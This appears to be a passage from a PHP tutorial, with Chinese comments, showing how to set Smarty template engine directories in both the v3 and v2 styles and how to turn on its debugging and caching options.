    // 上述與此 $smartyTpl = new Smarty; 這兩種程式撰寫是相同的,當一個Object的 default construct 沒有參數的時候,括弧可以不用寫。
    
    /*smarty v3 的寫法*/
    $smartyTpl->setTemplateDir(HOST_ROOT . "/smarty/templates/" )
        ->setCompileDir(HOST_ROOT . "/smarty/templates_c/")
        ->setConfigDir(HOST_ROOT . "/smarty/configs/")
        ->setCacheDir(HOST_ROOT . "/smarty/cache/")
        ->addPluginsDir(HOST_ROOT . "/smarty/plugins/");
    
    
    /*smarty v2 的寫法,也可適用
    $smartyTpl->template_dir = HOST_ROOT . "/smarty/templates/";
    $smartyTpl->compile_dir  = HOST_ROOT . "/smarty/templates_c/";
    $smartyTpl->config_dir   = HOST_ROOT . "/smarty/configs/";
    $smartyTpl->cache_dir    = HOST_ROOT . "/smarty/cache/";    
    */  
    
    $smartyTpl->debugging = true;
    $smartyTpl->caching = true;
    $smartyTpl->cache_lifetime = 120;
    $smartyTpl->force_compile = true;
    
    //定義 Smarty 樣版變數的前/後符號
    //$smartyTpl->left_delimiter = '<{';
    //$smartyTpl->right_delimiter = '}>';